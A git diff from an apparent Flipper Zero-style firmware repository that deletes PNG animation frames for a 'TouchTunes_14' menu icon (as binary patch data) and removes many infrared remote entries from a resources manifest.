zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png deleted file mode 100644 index ff34450d944f74517bd986e51df5c6c683462183..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png deleted file mode 100644 index 2b61340cba323b443891bfc2d1a29d61f781c469..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png deleted file mode 100644 index 9420c763fffc590092d0d55b554f30feeceb6cd8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png deleted file mode 100644 index e9527fa833491eff3316cd410a901508344f1179..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png deleted file mode 100644 index 2109273f0538a073ab31357ea73ca5d6ef928442..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png deleted file mode 100644 index 0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png deleted file mode 100644 index 4c283af6cc3dd76ef888f62b770519219a2d79d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png deleted file mode 100644 index 750aec1627b2bcb3a822647a39c185312a4276f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png deleted file mode 100644 index 17007aad5b72394efd0dc44c1695aa84df0dbba8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png deleted file mode 100644 index 4c03a8101928e3271e518ca78035200e788ad972..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png deleted file mode 100644 index 334498adcefb0195df99757781c744a567450337..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png deleted file mode 100644 index b203dc30275055bbe87d8475ad1ffff70af7a57e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png deleted file mode 100644 index 3e17c6c76ba81c56c52edd21147e6b1d5e692607..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_rate b/assets/icons/MainMenu/TouchTunes_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/TouchTunes_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/assets/resources/Manifest b/assets/resources/Manifest index ed8bc004c..a2e2ab317 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1653334495 +T:1653685642 D:badusb D:dolphin D:infrared @@ -222,6074 +222,7 @@ F:5442895c85f769349288aa3df0990f9d:585:dolphin/L3_Lab_research_128x54/frame_7.bm F:33b8fde22f34ef556b64b77164bc19b0:578:dolphin/L3_Lab_research_128x54/frame_8.bm F:f267f0654781049ca323b11bb4375519:581:dolphin/L3_Lab_research_128x54/frame_9.bm F:41106c0cbc5144f151b2b2d3daaa0527:727:dolphin/L3_Lab_research_128x54/meta.txt -D:infrared/ACs -D:infrared/Audio Receivers -D:infrared/Blu-Ray -D:infrared/CCTV -D:infrared/Cable Boxes -D:infrared/Cameras -D:infrared/Consoles -D:infrared/Converters -D:infrared/Head Units -D:infrared/LED Lighting -D:infrared/Miscellaneous -D:infrared/Projectors -D:infrared/SoundBars -D:infrared/Streaming Devices -D:infrared/TVs -D:infrared/_CSV-IRDB_ D:infrared/assets -F:b99ebb642148aa9232b4dc7f2acf98cd:4970:infrared/Amino_amigo.ir -F:83f6ccdbdf32370fa4cf7afd651a6e0c:798:infrared/Amz_snd_bar.ir -F:1e6f06b66e0b4955e408f1c9198f2898:584:infrared/Apple_tv.ir -F:7274af18f1398bfdcba3eef27e1d9a93:557:infrared/BenQ.ir -F:a0af1af37f404781d60bbe4cf313d162:1525:infrared/Casio-Projector_yt130.ir -F:321a33ac14716639364361b310a91706:1524:infrared/Cv610_remote.ir -F:3cb1be0f536a0a6160e35828905a20d3:984:infrared/Da_lite_proj_scrn.ir -F:40f9d21e62424062263065c536304676:11762:infrared/Direct_tv.ir -F:d92b34f3a7170e54afddc6731b49d6e1:3537:infrared/Dragonfly_scrn.ir -F:c66a8721533e6df37512b24016fcad70:5682:infrared/Dreo_heater.ir -F:a52d81317dad059d698592f8159f6c5e:2495:infrared/Dyson_air_multiplier.ir -F:546b22ba87086f4672ce1ffc3bb896c1:3266:infrared/Dyson_hp09.ir -F:71767c67b0394773908c6cffeeab22e4:1595:infrared/Epson.ir -F:7729f722ce64f71693a7342e9a8e65f2:546:infrared/Hdmi_switch.ir -F:c3936ed736cf45ed8ac21f6fe9582d52:568:infrared/LG_AC.ir -F:30d1ee9c37b37233696bbc2bfe5c257e:1679:infrared/LG_BlueRay.ir -F:b489b8d113de9b05cd5487434e979ce9:888:infrared/LG_C1.ir -F:e934cd395e02c197ca62174aa77549a2:2501:infrared/Lasko_fan.ir -F:b72abf7ab1847b60bc5a013ac95df1a8:9503:infrared/Lasko_heater.ir -F:ac371e88aa7e629d2dbc5c43767f0fbd:19927:infrared/NEC.ir -F:b17eb21b5a532a8b6db9f77a12e27404:183:infrared/Nikon.ir -F:74fa5f6c842e70e451b9481c17b71b9c:379:infrared/Old_sonyxbr.ir -F:ed1035363a609949f1f15e301824cfeb:23673:infrared/Panasonic_TC-P50S2.ir -F:db40928c4503f49437a5c69973ff8183:14710:infrared/Pioneer_1770nex.ir -F:ba96cf68fc19e2802def5d0a13276c5a:897:infrared/Roku.ir -F:4b3244bc0592b2b4b98837fa942387ce:894:infrared/Roku2.ir -F:2c45c1848e4463f742ec888d2eb318c5:1388:infrared/Samsung.ir -F:21816e2ea82c23f0fce5ccc051736517:1149:infrared/Samsung_TV.ir -F:655f9c446a64ef6a0bd0afd157d1b115:127:infrared/Samsung_e6.ir -F:948df7276fee7f0c20e285c85a1700f9:984:infrared/Scrn_innov.ir -F:652fd6c4cfaf48b3d9e1717f9a301434:1795:infrared/Sharp_Roku_TV.ir -F:313eb09138e3f1e082ce802a99177187:1048:infrared/Sonyxbr.ir -F:1082b46f593e4673de9ede5aefc9bbb1:2608:infrared/Stlth_acou.ir -F:d9aa4555541367c56cd8ca0892e8f4a7:1118:infrared/Sunbrite.ir -F:d62b96d048941d9b23222185086926d6:1221:infrared/Szxlcom_cams.ir -F:1c4fd470eba9364fb0a958d9cc77e5ca:8715:infrared/Tcl.ir -F:661fec66bc4b73c343d9e2617334911d:892:infrared/Tcl_32s327.ir -F:65b31c3bfb66a62102bed654e9a57a6b:710:infrared/Tcl_tv.ir -F:8cde98d701dcfd34f711d0850111d892:1464:infrared/Vizio.ir -F:e2f23cef1c2abf5a84a4c478c508f412:724:infrared/Vizio_Soundbar.ir -F:0bc0c173a29a92e3a453e188cb56c9e2:3368:infrared/Vornado.ir -F:cbf4d9e2ef67c8244d62c5354f7217dd:1331:infrared/Westinghouse.ir -F:296c9f7edf7533f6ef5bca764a7d197c:3282:infrared/Whynter_AC.ir -F:219cc59cad3851e5e32dfe5d7feaca67:585:infrared/Xbox.ir -F:364eff5aa9a946efa188b084f2f94b19:1680:infrared/Yamaha_rx.ir -F:5636a7e6a0855bead9d06473f0af7899:662:infrared/Zenith_AC.ir -D:infrared/ACs/Dreo -D:infrared/ACs/Dyson -D:infrared/ACs/GoldenVantage -D:infrared/ACs/Homedics -D:infrared/ACs/JETTools -D:infrared/ACs/Koldfront -D:infrared/ACs/LG -D:infrared/ACs/Lasko -D:infrared/ACs/Vornado -D:infrared/ACs/Whynter -D:infrared/ACs/Zenith -F:8f830eef86aff7ef5fc12224223a3d1a:829:infrared/ACs/Koldfront_wac12001.ir -F:54e78d402bfdc9a590dfd9f37ffc57e6:2014:infrared/ACs/Pelonis_PFS40D6ABB.ir -F:c66a8721533e6df37512b24016fcad70:5682:infrared/ACs/Dreo/Dreo_Heater.ir -F:a52d81317dad059d698592f8159f6c5e:2495:infrared/ACs/Dyson/Dyson_Air_Multiplier.ir -F:546b22ba87086f4672ce1ffc3bb896c1:3266:infrared/ACs/Dyson/Dyson_HP09.ir -F:a9d9355e1a2d20467632bd4d6de9ff97:373:infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir -F:3cfebe2c7c7ab44b938eb62d78233b59:3385:infrared/ACs/Homedics/Homedics_Humidifier.ir -F:8a10771a7803c76340c7268781480455:289:infrared/ACs/JETTools/JETTools_AFS-1000B.ir -F:8f830eef86aff7ef5fc12224223a3d1a:829:infrared/ACs/Koldfront/Koldfront_WAC12001.ir -F:c3936ed736cf45ed8ac21f6fe9582d52:568:infrared/ACs/LG/LG_AC.ir -F:e934cd395e02c197ca62174aa77549a2:2501:infrared/ACs/Lasko/Lasko_Fan.ir -F:16eee7bcae34149b377e460534e9b8ef:1162:infrared/ACs/Lasko/Lasko_Fan_Simple.ir -F:b72abf7ab1847b60bc5a013ac95df1a8:9503:infrared/ACs/Lasko/Lasko_Heater.ir -F:0bc0c173a29a92e3a453e188cb56c9e2:3368:infrared/ACs/Vornado/Vornado.ir -F:296c9f7edf7533f6ef5bca764a7d197c:3282:infrared/ACs/Whynter/Whynter_AC.ir -F:5636a7e6a0855bead9d06473f0af7899:662:infrared/ACs/Zenith/Zenith_AC.ir -D:infrared/Audio Receivers/Onkyo -D:infrared/Audio Receivers/Sony -F:a0ca92e2e0053cf1bcfd6f251c65f963:2208:infrared/Audio Receivers/Onkyo/Onkyo.ir -F:bef5df4e43d0d72bcb1bb7e8c5902cbe:3959:infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir -F:0db08de6575d9587cd73c13b490096ae:3001:infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir -D:infrared/Blu-Ray/LG -D:infrared/Blu-Ray/Toshiba -F:30d1ee9c37b37233696bbc2bfe5c257e:1679:infrared/Blu-Ray/LG/LG_BlueRay.ir -F:a238c8403958e187a77cfc1a5fcb4ea9:3906:infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir -D:infrared/CCTV/BrandUnknown -D:infrared/CCTV/MarshallElectronics -F:d62b96d048941d9b23222185086926d6:1221:infrared/CCTV/BrandUnknown/Szxlcom_cams.ir -F:321a33ac14716639364361b310a91706:1524:infrared/CCTV/MarshallElectronics/Marshall_CV610.ir -D:infrared/Cable Boxes/Amino -D:infrared/Cable Boxes/DIRECTV -D:infrared/Cable Boxes/Telus -F:b99ebb642148aa9232b4dc7f2acf98cd:4970:infrared/Cable Boxes/Amino/Amino_Amigo.ir -F:40f9d21e62424062263065c536304676:11762:infrared/Cable Boxes/DIRECTV/DIRECTV.ir -F:0e19bc6cc9adb08ecb373e1364b2dc3d:11239:infrared/Cable Boxes/Telus/Telus_OptikTV.ir -D:infrared/Cameras/Sony -F:b17eb21b5a532a8b6db9f77a12e27404:183:infrared/Cameras/Sony/Nikon.ir -F:7d1b51cde5b61d6656a6225d28c9e631:299:infrared/Cameras/Sony/Sony.ir -D:infrared/Consoles/Microsoft -F:219cc59cad3851e5e32dfe5d7feaca67:585:infrared/Consoles/Microsoft/Xbox.ir -D:infrared/Converters/RME -F:fb6de9392a63014e078772dc3951f485:33:infrared/Converters/ReadMe.md -F:6fec70bd90a7837d04359cde3828ffc8:1949:infrared/Converters/RME/RME_ADI-2_DAC_FS.ir -D:infrared/Head Units/GPX -D:infrared/Head Units/Pioneer -F:87c1c49b866d7b6d640f569c8b10918d:587:infrared/Head Units/GPX/GPX_CDRadio.ir -F:db40928c4503f49437a5c69973ff8183:14710:infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir -D:infrared/LED Lighting/Amazon -D:infrared/LED Lighting/BrandUnknown -D:infrared/LED Lighting/MonsterIlluminessence -F:96089dcc8ac71d31a5e26234f8eb08a4:2518:infrared/LED Lighting/mlambert_rope_light.ir -F:ccb554dcef987d1f6123aa9058ee1682:1791:infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir -F:212fddeac1eef7f5170ac9dfdad92300:5188:infrared/LED Lighting/BrandUnknown/44_Button_LED.ir -F:5ee539d8b91bd94757cfb81413417a0f:6695:infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir -F:4cb12e8e2e8ff4bdb81d3145e2a98e80:6670:infrared/LED Lighting/BrandUnknown/DMX_Light.ir -F:9505090a1bba17905139db7ab9845f2b:22713:infrared/LED Lighting/BrandUnknown/LEDStrip.ir -F:87e804c057bfa27346f7622fb7c77dff:3798:infrared/LED Lighting/BrandUnknown/LED_44Key.ir -F:84a071185013a3c529a55eb93b805642:16911:infrared/LED Lighting/BrandUnknown/Light_Strip.ir -F:5ee539d8b91bd94757cfb81413417a0f:6695:infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir 